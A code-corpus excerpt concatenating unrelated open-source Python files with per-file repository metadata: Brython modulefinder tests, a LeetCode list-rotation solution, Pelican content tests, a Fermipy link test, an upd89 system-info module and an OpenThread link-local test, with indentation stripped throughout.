from .b import y, z # a.b.y, a.b.z
a/module.py
from __future__ import absolute_import # __future__
import gc # gc
a/gc.py
a/sys.py
a/b/__init__.py
from ..b import x # a.b.x
#from a.b.c import moduleC
from .c import moduleC # a.b.moduleC
a/b/x.py
a/b/y.py
a/b/z.py
a/b/g.py
a/b/c/__init__.py
from ..c import e # a.b.c.e
a/b/c/moduleC.py
from ..c import d # a.b.c.d
a/b/c/d.py
a/b/c/e.py
a/b/c/x.py
"""]
relative_import_test_2 = [
"a.module",
["a", "a.module",
"a.sys",
"a.b", "a.b.y", "a.b.z",
"a.b.c", "a.b.c.d",
"a.b.c.e",
"a.b.c.moduleC",
"a.b.c.f",
"a.b.x",
"a.another"],
[], [],
"""\
mymodule.py
a/__init__.py
from . import sys # a.sys
a/another.py
a/module.py
from .b import y, z # a.b.y, a.b.z
a/gc.py
a/sys.py
a/b/__init__.py
from .c import moduleC # a.b.c.moduleC
from .c import d # a.b.c.d
a/b/x.py
a/b/y.py
a/b/z.py
a/b/c/__init__.py
from . import e # a.b.c.e
a/b/c/moduleC.py
#
from . import f # a.b.c.f
from .. import x # a.b.x
from ... import another # a.another
a/b/c/d.py
a/b/c/e.py
a/b/c/f.py
"""]
relative_import_test_3 = [
"a.module",
["a", "a.module"],
["a.bar"],
[],
"""\
a/__init__.py
def foo(): pass
a/module.py
from . import foo
from . import bar
"""]
relative_import_test_4 = [
"a.module",
["a", "a.module"],
[],
[],
"""\
a/__init__.py
def foo(): pass
a/module.py
from . import *
"""]
bytecode_test = [
"a",
["a"],
[],
[],
""
]
syntax_error_test = [
"a.module",
["a", "a.module", "b"],
["b.module"], [],
"""\
a/__init__.py
a/module.py
import b.module
b/__init__.py
b/module.py
? # SyntaxError: invalid syntax
"""]
same_name_as_bad_test = [
"a.module",
["a", "a.module", "b", "b.c"],
["c"], [],
"""\
a/__init__.py
a/module.py
import c
from b import c
b/__init__.py
b/c.py
"""]
coding_default_utf8_test = [
"a_utf8",
["a_utf8", "b_utf8"],
[], [],
"""\
a_utf8.py
# use the default of utf8
print('Unicode test A code point 2090 \u2090 that is not valid in cp1252')
import b_utf8
b_utf8.py
# use the default of utf8
print('Unicode test B code point 2090 \u2090 that is not valid in cp1252')
"""]
coding_explicit_utf8_test = [
"a_utf8",
["a_utf8", "b_utf8"],
[], [],
"""\
a_utf8.py
# coding=utf8
print('Unicode test A code point 2090 \u2090 that is not valid in cp1252')
import b_utf8
b_utf8.py
# use the default of utf8
print('Unicode test B code point 2090 \u2090 that is not valid in cp1252')
"""]
coding_explicit_cp1252_test = [
"a_cp1252",
["a_cp1252", "b_utf8"],
[], [],
b"""\
a_cp1252.py
# coding=cp1252
# 0xe2 is not allowed in utf8
print('CP1252 test P\xe2t\xe9')
import b_utf8
""" + """\
b_utf8.py
# use the default of utf8
print('Unicode test A code point 2090 \u2090 that is not valid in cp1252')
""".encode('utf-8')]
def open_file(path):
dirname = os.path.dirname(path)
try:
os.makedirs(dirname)
except OSError as e:
if e.errno != errno.EEXIST:
raise
return open(path, 'wb')
def create_package(source):
ofi = None
try:
for line in source.splitlines():
if type(line) != bytes:
line = line.encode('utf-8')
if line.startswith(b' ') or line.startswith(b'\t'):
ofi.write(line.strip() + b'\n')
else:
if ofi:
ofi.close()
if type(line) == bytes:
line = line.decode('utf-8')
ofi = open_file(os.path.join(TEST_DIR, line.strip()))
finally:
if ofi:
ofi.close()
class ModuleFinderTest(unittest.TestCase):
def _do_test(self, info, report=False, debug=0, replace_paths=[], modulefinder_class=modulefinder.ModuleFinder):
import_this, modules, missing, maybe_missing, source = info
create_package(source)
try:
mf = modulefinder_class(path=TEST_PATH, debug=debug,
replace_paths=replace_paths)
mf.import_hook(import_this)
if report:
mf.report()
## # This wouldn't work in general when executed several times:
## opath = sys.path[:]
## sys.path = TEST_PATH
## try:
## __import__(import_this)
## except:
## import traceback; traceback.print_exc()
## sys.path = opath
## return
modules = sorted(set(modules))
found = sorted(mf.modules)
# check if we found what we expected, not more, not less
self.assertEqual(found, modules)
# check for missing and maybe missing modules
bad, maybe = mf.any_missing_maybe()
self.assertEqual(bad, missing)
self.assertEqual(maybe, maybe_missing)
finally:
shutil.rmtree(TEST_DIR)
def test_package(self):
self._do_test(package_test)
def test_maybe(self):
self._do_test(maybe_test)
def test_maybe_new(self):
self._do_test(maybe_test_new)
def test_absolute_imports(self):
self._do_test(absolute_import_test)
def test_relative_imports(self):
self._do_test(relative_import_test)
def test_relative_imports_2(self):
self._do_test(relative_import_test_2)
def test_relative_imports_3(self):
self._do_test(relative_import_test_3)
def test_relative_imports_4(self):
self._do_test(relative_import_test_4)
def test_syntax_error(self):
self._do_test(syntax_error_test)
def test_same_name_as_bad(self):
self._do_test(same_name_as_bad_test)
def test_bytecode(self):
base_path = os.path.join(TEST_DIR, 'a')
source_path = base_path + importlib.machinery.SOURCE_SUFFIXES[0]
bytecode_path = base_path + importlib.machinery.BYTECODE_SUFFIXES[0]
with open_file(source_path) as file:
file.write('testing_modulefinder = True\n'.encode('utf-8'))
py_compile.compile(source_path, cfile=bytecode_path)
os.remove(source_path)
self._do_test(bytecode_test)
def test_replace_paths(self):
old_path = os.path.join(TEST_DIR, 'a', 'module.py')
new_path = os.path.join(TEST_DIR, 'a', 'spam.py')
with support.captured_stdout() as output:
self._do_test(maybe_test, debug=2,
replace_paths=[(old_path, new_path)])
output = output.getvalue()
expected = "co_filename %r changed to %r" % (old_path, new_path)
self.assertIn(expected, output)
def test_extended_opargs(self):
extended_opargs_test = [
"a",
["a", "b"],
[], [],
"""\
a.py
%r
import b
b.py
""" % list(range(2**16))] # 2**16 constants
self._do_test(extended_opargs_test)
def test_coding_default_utf8(self):
self._do_test(coding_default_utf8_test)
def test_coding_explicit_utf8(self):
self._do_test(coding_explicit_utf8_test)
def test_coding_explicit_cp1252(self):
self._do_test(coding_explicit_cp1252_test)
def test_load_module_api(self):
class CheckLoadModuleApi(modulefinder.ModuleFinder):
def __init__(self, *args, **kwds):
super().__init__(*args, **kwds)
def load_module(self, fqname, fp, pathname, file_info):
# confirm that the fileinfo is a tuple of 3 elements
suffix, mode, type = file_info
return super().load_module(fqname, fp, pathname, file_info)
self._do_test(absolute_import_test, modulefinder_class=CheckLoadModuleApi)
if __name__ == "__main__":
unittest.main()
| brython-dev/brython | www/src/Lib/test/test_modulefinder.py | Python | bsd-3-clause | 12,492 |
class Solution(object):
def rotateRight(self, head, k):
"""
:type head: ListNode
:type k: int
:rtype: ListNode
"""
if k == 0 or not head or not head.next :
return head
nHead = ListNode(0)
nHead.next = head
end = nHead
nEnd = nHead
l = 0
while(end.next != None):
end = end.next
l += 1
for i in xrange(l-k%l):
nEnd = nEnd.next
end.next = head
nHead.next = nEnd.next
nEnd.next = None
return nHead.next
| saai/LeetcodePythonSolutions | linkedList/rotateRight.py | Python | mit | 595 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import
import six
from sys import platform
import locale
import os.path
from pelican.tests.support import unittest, get_settings
from pelican.contents import Page, Article, Static, URLWrapper, Author, Category
from pelican.settings import DEFAULT_CONFIG
from pelican.utils import path_to_url, truncate_html_words, SafeDatetime, posix_join
from pelican.signals import content_object_init
from jinja2.utils import generate_lorem_ipsum
# generate one paragraph, enclosed with <p>
TEST_CONTENT = str(generate_lorem_ipsum(n=1))
TEST_SUMMARY = generate_lorem_ipsum(n=1, html=False)
class TestPage(unittest.TestCase):
def setUp(self):
super(TestPage, self).setUp()
self.old_locale = locale.setlocale(locale.LC_ALL)
locale.setlocale(locale.LC_ALL, str('C'))
self.page_kwargs = {
'content': TEST_CONTENT,
'context': {
'localsiteurl': '',
},
'metadata': {
'summary': TEST_SUMMARY,
'title': 'foo bar',
'author': Author('Blogger', DEFAULT_CONFIG),
},
'source_path': '/path/to/file/foo.ext'
}
def tearDown(self):
locale.setlocale(locale.LC_ALL, self.old_locale)
def test_use_args(self):
# Creating a page with arguments passed to the constructor should use
# them to initialise object's attributes.
metadata = {'foo': 'bar', 'foobar': 'baz', 'title': 'foobar', }
page = Page(TEST_CONTENT, metadata=metadata,
context={'localsiteurl': ''})
for key, value in metadata.items():
self.assertTrue(hasattr(page, key))
self.assertEqual(value, getattr(page, key))
self.assertEqual(page.content, TEST_CONTENT)
def test_mandatory_properties(self):
# If the title is not set, must throw an exception.
page = Page('content')
with self.assertRaises(NameError):
page.check_properties()
page = Page('content', metadata={'title': 'foobar'})
page.check_properties()
def test_summary_from_metadata(self):
# If a :summary: metadata is given, it should be used
page = Page(**self.page_kwargs)
self.assertEqual(page.summary, TEST_SUMMARY)
def test_summary_max_length(self):
# If a :SUMMARY_MAX_LENGTH: is set, and there is no other summary,
# generated summary should not exceed the given length.
page_kwargs = self._copy_page_kwargs()
settings = get_settings()
page_kwargs['settings'] = settings
del page_kwargs['metadata']['summary']
settings['SUMMARY_MAX_LENGTH'] = None
page = Page(**page_kwargs)
self.assertEqual(page.summary, TEST_CONTENT)
settings['SUMMARY_MAX_LENGTH'] = 10
page = Page(**page_kwargs)
self.assertEqual(page.summary, truncate_html_words(TEST_CONTENT, 10))
settings['SUMMARY_MAX_LENGTH'] = 0
page = Page(**page_kwargs)
self.assertEqual(page.summary, '')
def test_slug(self):
page_kwargs = self._copy_page_kwargs()
settings = get_settings()
page_kwargs['settings'] = settings
settings['SLUGIFY_SOURCE'] = "title"
page = Page(**page_kwargs)
self.assertEqual(page.slug, 'foo-bar')
settings['SLUGIFY_SOURCE'] = "basename"
page = Page(**page_kwargs)
self.assertEqual(page.slug, 'foo')
def test_defaultlang(self):
# If no lang is given, default to the default one.
page = Page(**self.page_kwargs)
self.assertEqual(page.lang, DEFAULT_CONFIG['DEFAULT_LANG'])
# it is possible to specify the lang in the metadata infos
self.page_kwargs['metadata'].update({'lang': 'fr', })
page = Page(**self.page_kwargs)
self.assertEqual(page.lang, 'fr')
def test_save_as(self):
# If a lang is not the default lang, save_as should be set
# accordingly.
# if a title is defined, save_as should be set
page = Page(**self.page_kwargs)
self.assertEqual(page.save_as, "pages/foo-bar.html")
# if a language is defined, save_as should include it accordingly
self.page_kwargs['metadata'].update({'lang': 'fr', })
page = Page(**self.page_kwargs)
self.assertEqual(page.save_as, "pages/foo-bar-fr.html")
def test_metadata_url_format(self):
# Arbitrary metadata should be passed through url_format()
page = Page(**self.page_kwargs)
self.assertIn('summary', page.url_format.keys())
page.metadata['directory'] = 'test-dir'
page.settings = get_settings(PAGE_SAVE_AS='{directory}/{slug}')
self.assertEqual(page.save_as, 'test-dir/foo-bar')
def test_datetime(self):
# If DATETIME is set to a tuple, it should be used to override LOCALE
dt = SafeDatetime(2015, 9, 13)
page_kwargs = self._copy_page_kwargs()
# set its date to dt
page_kwargs['metadata']['date'] = dt
page = Page(**page_kwargs)
# page.locale_date is a unicode string in both python2 and python3
dt_date = dt.strftime(DEFAULT_CONFIG['DEFAULT_DATE_FORMAT'])
# dt_date is a byte string in python2, and a unicode string in python3
# Let's make sure it is a unicode string (relies on python 3.3 supporting the u prefix)
if type(dt_date) != type(u''):
# python2:
dt_date = unicode(dt_date, 'utf8')
self.assertEqual(page.locale_date, dt_date )
page_kwargs['settings'] = get_settings()
# I doubt this can work on all platforms ...
if platform == "win32":
locale = 'jpn'
else:
locale = 'ja_JP.utf8'
page_kwargs['settings']['DATE_FORMATS'] = {'jp': (locale,
'%Y-%m-%d(%a)')}
page_kwargs['metadata']['lang'] = 'jp'
import locale as locale_module
try:
page = Page(**page_kwargs)
self.assertEqual(page.locale_date, '2015-09-13(\u65e5)')
except locale_module.Error:
# The constructor of ``Page`` will try to set the locale to
# ``ja_JP.utf8``. But this attempt will failed when there is no
# such locale in the system. You can see which locales there are
# in your system with ``locale -a`` command.
#
# Until we find some other method to test this functionality, we
# will simply skip this test.
unittest.skip("There is no locale %s in this system." % locale)
def test_template(self):
# Pages default to page, metadata overwrites
default_page = Page(**self.page_kwargs)
self.assertEqual('page', default_page.template)
page_kwargs = self._copy_page_kwargs()
page_kwargs['metadata']['template'] = 'custom'
custom_page = Page(**page_kwargs)
self.assertEqual('custom', custom_page.template)
def _copy_page_kwargs(self):
# make a deep copy of page_kwargs
page_kwargs = dict([(key, self.page_kwargs[key]) for key in
self.page_kwargs])
for key in page_kwargs:
if not isinstance(page_kwargs[key], dict):
break
page_kwargs[key] = dict([(subkey, page_kwargs[key][subkey])
for subkey in page_kwargs[key]])
return page_kwargs
def test_signal(self):
# If a title is given, it should be used to generate the slug.
def receiver_test_function(sender, instance):
pass
content_object_init.connect(receiver_test_function, sender=Page)
Page(**self.page_kwargs)
self.assertTrue(content_object_init.has_receivers_for(Page))
def test_get_content(self):
# Test that the content is updated with the relative links to
# filenames, tags and categories.
settings = get_settings()
args = self.page_kwargs.copy()
args['settings'] = settings
# Tag
args['content'] = ('A simple test, with a '
'<a href="|tag|tagname">link</a>')
page = Page(**args)
content = page.get_content('http://notmyidea.org')
self.assertEqual(
content,
('A simple test, with a '
'<a href="http://notmyidea.org/tag/tagname.html">link</a>'))
# Category
args['content'] = ('A simple test, with a '
'<a href="|category|category">link</a>')
page = Page(**args)
content = page.get_content('http://notmyidea.org')
self.assertEqual(
content,
('A simple test, with a '
'<a href="http://notmyidea.org/category/category.html">link</a>'))
def test_intrasite_link(self):
# type does not take unicode in PY2 and bytes in PY3, which in
# combination with unicode literals leads to following insane line:
cls_name = '_DummyArticle' if six.PY3 else b'_DummyArticle'
article = type(cls_name, (object,), {'url': 'article.html'})
args = self.page_kwargs.copy()
args['settings'] = get_settings()
args['source_path'] = 'content'
args['context']['filenames'] = {'article.rst': article}
# Classic intrasite link via filename
args['content'] = (
'A simple test, with a '
'<a href="|filename|article.rst">link</a>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'A simple test, with a '
'<a href="http://notmyidea.org/article.html">link</a>'
)
# fragment
args['content'] = (
'A simple test, with a '
'<a href="|filename|article.rst#section-2">link</a>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'A simple test, with a '
'<a href="http://notmyidea.org/article.html#section-2">link</a>'
)
# query
args['content'] = (
'A simple test, with a '
'<a href="|filename|article.rst'
'?utm_whatever=234&highlight=word">link</a>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'A simple test, with a '
'<a href="http://notmyidea.org/article.html'
'?utm_whatever=234&highlight=word">link</a>'
)
# combination
args['content'] = (
'A simple test, with a '
'<a href="|filename|article.rst'
'?utm_whatever=234&highlight=word#section-2">link</a>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'A simple test, with a '
'<a href="http://notmyidea.org/article.html'
'?utm_whatever=234&highlight=word#section-2">link</a>'
)
def test_intrasite_link_more(self):
# type does not take unicode in PY2 and bytes in PY3, which in
# combination with unicode literals leads to following insane line:
cls_name = '_DummyAsset' if six.PY3 else b'_DummyAsset'
args = self.page_kwargs.copy()
args['settings'] = get_settings()
args['source_path'] = 'content'
args['context']['filenames'] = {
'images/poster.jpg': type(cls_name, (object,), {'url': 'images/poster.jpg'}),
'assets/video.mp4': type(cls_name, (object,), {'url': 'assets/video.mp4'}),
'images/graph.svg': type(cls_name, (object,), {'url': 'images/graph.svg'}),
'reference.rst': type(cls_name, (object,), {'url': 'reference.html'}),
}
# video.poster
args['content'] = (
'There is a video with poster '
'<video controls poster="{filename}/images/poster.jpg">'
'<source src="|filename|/assets/video.mp4" type="video/mp4">'
'</video>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'There is a video with poster '
'<video controls poster="http://notmyidea.org/images/poster.jpg">'
'<source src="http://notmyidea.org/assets/video.mp4" type="video/mp4">'
'</video>'
)
# object.data
args['content'] = (
'There is a svg object '
'<object data="{filename}/images/graph.svg" type="image/svg+xml"></object>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'There is a svg object '
'<object data="http://notmyidea.org/images/graph.svg" type="image/svg+xml"></object>'
)
# blockquote.cite
args['content'] = (
'There is a blockquote with cite attribute '
'<blockquote cite="{filename}reference.rst">blah blah</blockquote>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'There is a blockquote with cite attribute '
'<blockquote cite="http://notmyidea.org/reference.html">blah blah</blockquote>'
)
def test_intrasite_link_markdown_spaces(self):
# Markdown introduces %20 instead of spaces, this tests that
# we support markdown doing this.
cls_name = '_DummyArticle' if six.PY3 else b'_DummyArticle'
article = type(cls_name, (object,), {'url': 'article-spaces.html'})
args = self.page_kwargs.copy()
args['settings'] = get_settings()
args['source_path'] = 'content'
args['context']['filenames'] = {'article spaces.rst': article}
# An intrasite link via filename with %20 as a space
args['content'] = (
'A simple test, with a '
'<a href="|filename|article%20spaces.rst">link</a>'
)
content = Page(**args).get_content('http://notmyidea.org')
self.assertEqual(
content,
'A simple test, with a '
'<a href="http://notmyidea.org/article-spaces.html">link</a>'
)
def test_multiple_authors(self):
"""Test article with multiple authors."""
args = self.page_kwargs.copy()
content = Page(**args)
assert content.authors == [content.author]
args['metadata'].pop('author')
args['metadata']['authors'] = [Author('First Author', DEFAULT_CONFIG),
Author('Second Author', DEFAULT_CONFIG)]
content = Page(**args)
assert content.authors
assert content.author == content.authors[0]
class TestArticle(TestPage):
def test_template(self):
# Articles default to article, metadata overwrites
default_article = Article(**self.page_kwargs)
self.assertEqual('article', default_article.template)
article_kwargs = self._copy_page_kwargs()
article_kwargs['metadata']['template'] = 'custom'
custom_article = Article(**article_kwargs)
self.assertEqual('custom', custom_article.template)
def test_slugify_category_author(self):
settings = get_settings()
settings['SLUG_SUBSTITUTIONS'] = [ ('C#', 'csharp') ]
settings['ARTICLE_URL'] = '{author}/{category}/{slug}/'
settings['ARTICLE_SAVE_AS'] = '{author}/{category}/{slug}/index.html'
article_kwargs = self._copy_page_kwargs()
article_kwargs['metadata']['author'] = Author("O'Brien", settings)
article_kwargs['metadata']['category'] = Category('C# & stuff', settings)
article_kwargs['metadata']['title'] = 'fnord'
article_kwargs['settings'] = settings
article = Article(**article_kwargs)
self.assertEqual(article.url, 'obrien/csharp-stuff/fnord/')
self.assertEqual(article.save_as, 'obrien/csharp-stuff/fnord/index.html')
class TestStatic(unittest.TestCase):
def setUp(self):
self.settings = get_settings(
STATIC_SAVE_AS='{path}',
STATIC_URL='{path}',
PAGE_SAVE_AS=os.path.join('outpages', '{slug}.html'),
PAGE_URL='outpages/{slug}.html')
self.context = self.settings.copy()
self.static = Static(content=None, metadata={}, settings=self.settings,
source_path=posix_join('dir', 'foo.jpg'), context=self.context)
self.context['filenames'] = {self.static.source_path: self.static}
def tearDown(self):
pass
def test_attach_to_same_dir(self):
"""attach_to() overrides a static file's save_as and url.
"""
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'fakepage.md'))
self.static.attach_to(page)
expected_save_as = os.path.join('outpages', 'foo.jpg')
self.assertEqual(self.static.save_as, expected_save_as)
self.assertEqual(self.static.url, path_to_url(expected_save_as))
def test_attach_to_parent_dir(self):
"""attach_to() preserves dirs inside the linking document dir.
"""
page = Page(content="fake page", metadata={'title': 'fakepage'},
settings=self.settings, source_path='fakepage.md')
self.static.attach_to(page)
expected_save_as = os.path.join('outpages', 'dir', 'foo.jpg')
self.assertEqual(self.static.save_as, expected_save_as)
self.assertEqual(self.static.url, path_to_url(expected_save_as))
def test_attach_to_other_dir(self):
"""attach_to() ignores dirs outside the linking document dir.
"""
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'otherdir', 'fakepage.md'))
self.static.attach_to(page)
expected_save_as = os.path.join('outpages', 'foo.jpg')
self.assertEqual(self.static.save_as, expected_save_as)
self.assertEqual(self.static.url, path_to_url(expected_save_as))
def test_attach_to_ignores_subsequent_calls(self):
"""attach_to() does nothing when called a second time.
"""
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'fakepage.md'))
self.static.attach_to(page)
otherdir_settings = self.settings.copy()
otherdir_settings.update(dict(
PAGE_SAVE_AS=os.path.join('otherpages', '{slug}.html'),
PAGE_URL='otherpages/{slug}.html'))
otherdir_page = Page(content="other page",
metadata={'title': 'otherpage'}, settings=otherdir_settings,
source_path=os.path.join('dir', 'otherpage.md'))
self.static.attach_to(otherdir_page)
otherdir_save_as = os.path.join('otherpages', 'foo.jpg')
self.assertNotEqual(self.static.save_as, otherdir_save_as)
self.assertNotEqual(self.static.url, path_to_url(otherdir_save_as))
def test_attach_to_does_nothing_after_save_as_referenced(self):
"""attach_to() does nothing if the save_as was already referenced.
(For example, by a {filename} link an a document processed earlier.)
"""
original_save_as = self.static.save_as
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'fakepage.md'))
self.static.attach_to(page)
self.assertEqual(self.static.save_as, original_save_as)
self.assertEqual(self.static.url, path_to_url(original_save_as))
def test_attach_to_does_nothing_after_url_referenced(self):
"""attach_to() does nothing if the url was already referenced.
(For example, by a {filename} link an a document processed earlier.)
"""
original_url = self.static.url
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'fakepage.md'))
self.static.attach_to(page)
self.assertEqual(self.static.save_as, self.static.source_path)
self.assertEqual(self.static.url, original_url)
def test_attach_to_does_not_override_an_override(self):
"""attach_to() does not override paths that were overridden elsewhere.
(For example, by the user with EXTRA_PATH_METADATA)
"""
customstatic = Static(content=None,
metadata=dict(save_as='customfoo.jpg', url='customfoo.jpg'),
settings=self.settings,
source_path=os.path.join('dir', 'foo.jpg'),
context=self.settings.copy())
page = Page(content="fake page",
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'fakepage.md'))
customstatic.attach_to(page)
self.assertEqual(customstatic.save_as, 'customfoo.jpg')
self.assertEqual(customstatic.url, 'customfoo.jpg')
def test_attach_link_syntax(self):
"""{attach} link syntax triggers output path override & url replacement.
"""
html = '<a href="{attach}../foo.jpg">link</a>'
page = Page(content=html,
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'otherdir', 'fakepage.md'),
context=self.context)
content = page.get_content('')
self.assertNotEqual(content, html,
"{attach} link syntax did not trigger URL replacement.")
expected_save_as = os.path.join('outpages', 'foo.jpg')
self.assertEqual(self.static.save_as, expected_save_as)
self.assertEqual(self.static.url, path_to_url(expected_save_as))
def test_tag_link_syntax(self):
"{tag} link syntax triggers url replacement."
html = '<a href="{tag}foo">link</a>'
page = Page(
content=html,
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'otherdir', 'fakepage.md'),
context=self.context)
content = page.get_content('')
self.assertNotEqual(content, html)
def test_category_link_syntax(self):
"{category} link syntax triggers url replacement."
html = '<a href="{category}foo">link</a>'
page = Page(content=html,
metadata={'title': 'fakepage'}, settings=self.settings,
source_path=os.path.join('dir', 'otherdir', 'fakepage.md'),
context=self.context)
content = page.get_content('')
self.assertNotEqual(content, html)
class TestURLWrapper(unittest.TestCase):
def test_comparisons(self):
# URLWrappers are sorted by name
wrapper_a = URLWrapper(name='first', settings={})
wrapper_b = URLWrapper(name='last', settings={})
self.assertFalse(wrapper_a > wrapper_b)
self.assertFalse(wrapper_a >= wrapper_b)
self.assertFalse(wrapper_a == wrapper_b)
self.assertTrue(wrapper_a != wrapper_b)
self.assertTrue(wrapper_a <= wrapper_b)
self.assertTrue(wrapper_a < wrapper_b)
wrapper_b.name = 'first'
self.assertFalse(wrapper_a > wrapper_b)
self.assertTrue(wrapper_a >= wrapper_b)
self.assertTrue(wrapper_a == wrapper_b)
self.assertFalse(wrapper_a != wrapper_b)
self.assertTrue(wrapper_a <= wrapper_b)
self.assertFalse(wrapper_a < wrapper_b)
wrapper_a.name = 'last'
self.assertTrue(wrapper_a > wrapper_b)
self.assertTrue(wrapper_a >= wrapper_b)
self.assertFalse(wrapper_a == wrapper_b)
self.assertTrue(wrapper_a != wrapper_b)
self.assertFalse(wrapper_a <= wrapper_b)
self.assertFalse(wrapper_a < wrapper_b)
| goerz/pelican | pelican/tests/test_contents.py | Python | agpl-3.0 | 24,186 |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
from __future__ import absolute_import, division, print_function
from fermipy.tests.utils import requires_dependency
try:
from fermipy.jobs.gtlink import Gtlink
from fermipy.jobs.file_archive import FileFlags
except ImportError:
pass
# Skip tests in this file if Fermi ST aren't available
pytestmark = requires_dependency('Fermi ST')
def test_gtlink():
""" Test that we can build a `Gtlink` sub class """
class Gtlink_scrmaps(Gtlink):
""" Gtlink sub-class for testing """
appname = 'gtsrcmaps'
linkname_default = 'gtsrcmaps'
usage = '%s [options]' % (appname)
description = "Link to run %s" % (appname)
default_options = dict(irfs=('CALDB', 'options', str),
expcube=(None, 'Input exposure hypercube', str),
bexpmap=(None, 'Input binnned exposure map', str),
cmap=(None, 'Input counts map', str),
srcmdl=(None, 'Input source model', str),
outfile=(None, 'Output file', str))
default_file_args = dict(expcube=FileFlags.input_mask,
cmap=FileFlags.input_mask,
bexpmap=FileFlags.input_mask,
srcmdl=FileFlags.input_mask,
outfile=FileFlags.output_mask)
gtlink = Gtlink_scrmaps()
formatted_command = gtlink.formatted_command()
assert formatted_command == 'gtsrcmaps irfs=CALDB expcube=none cmap=none srcmdl=none outfile=none bexpmap=none'
if __name__ == '__main__':
test_gtlink()
| jefemagril/fermipy | fermipy/jobs/tests/test_gtlink.py | Python | bsd-3-clause | 1,727 |
import os
import platform
import socket
from upd89.classes import system_register, system_notify
def get_hostname():
return socket.gethostname()
def get_fqdn():
return socket.getfqdn()
def get_urn():
return 'demo-' + get_hostname() + '-demo'
def get_distro():
return ' '.join(platform.linux_distribution())
def get_reboot_required():
return os.path.isfile("/var/run/reboot-required")
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 0))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1'
finally:
s.close()
return IP
# also possible:
# my_ip = load(urlopen('http://jsonip.com'))['ip']
def get_register_system(port="8080"):
myHostname = get_hostname()
myURN = get_urn()
myDistro = get_distro()
myIP = get_ip()
myAddress = get_fqdn() + ":" + port
return system_register.System(name=myHostname, urn=myURN,
os=myDistro, address=myAddress, tag="")
def get_notify_system(port="8080"):
myHostname = get_hostname()
myURN = get_urn()
myDistro = get_distro()
myIP = get_ip()
myAddress = get_fqdn() + ":" + port
needReboot = get_reboot_required()
return system_notify.System(name=myHostname, urn=myURN,
os=myDistro, address=myAddress,
reboot_required=needReboot)
| upd89/agent | upd89/lib/sysinfo.py | Python | mit | 1,518 |
#!/usr/bin/python
#
# Copyright (c) 2016, Nest Labs, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the
# names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
import pexpect
import time
import unittest
import node
LEADER = 1
ED = 2
class Cert_6_4_1_LinkLocal(unittest.TestCase):
def setUp(self):
self.nodes = {}
for i in range(1,3):
self.nodes[i] = node.Node(i)
self.nodes[LEADER].set_panid(0xface)
self.nodes[LEADER].set_mode('rsdn')
self.nodes[LEADER].add_whitelist(self.nodes[ED].get_addr64())
self.nodes[LEADER].enable_whitelist()
self.nodes[ED].set_panid(0xface)
self.nodes[ED].set_mode('rsn')
self.nodes[ED].add_whitelist(self.nodes[LEADER].get_addr64())
self.nodes[ED].enable_whitelist()
def tearDown(self):
for node in self.nodes.itervalues():
node.stop()
del self.nodes
def test(self):
self.nodes[LEADER].start()
self.nodes[LEADER].set_state('leader')
self.assertEqual(self.nodes[LEADER].get_state(), 'leader')
self.nodes[ED].start()
time.sleep(3)
self.assertEqual(self.nodes[ED].get_state(), 'child')
addrs = self.nodes[ED].get_addrs()
for addr in addrs:
if addr[0:4] == 'fe80':
self.nodes[LEADER].ping(addr, size=256)
self.nodes[LEADER].ping(addr)
self.nodes[LEADER].ping('ff02::1', size=256)
self.nodes[LEADER].ping('ff02::1')
if __name__ == '__main__':
unittest.main()
| JiahuiZHONG/Internship_Thread | tests/scripts/thread-cert/Cert_6_4_01_LinkLocal.py | Python | bsd-3-clause | 2,986 |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
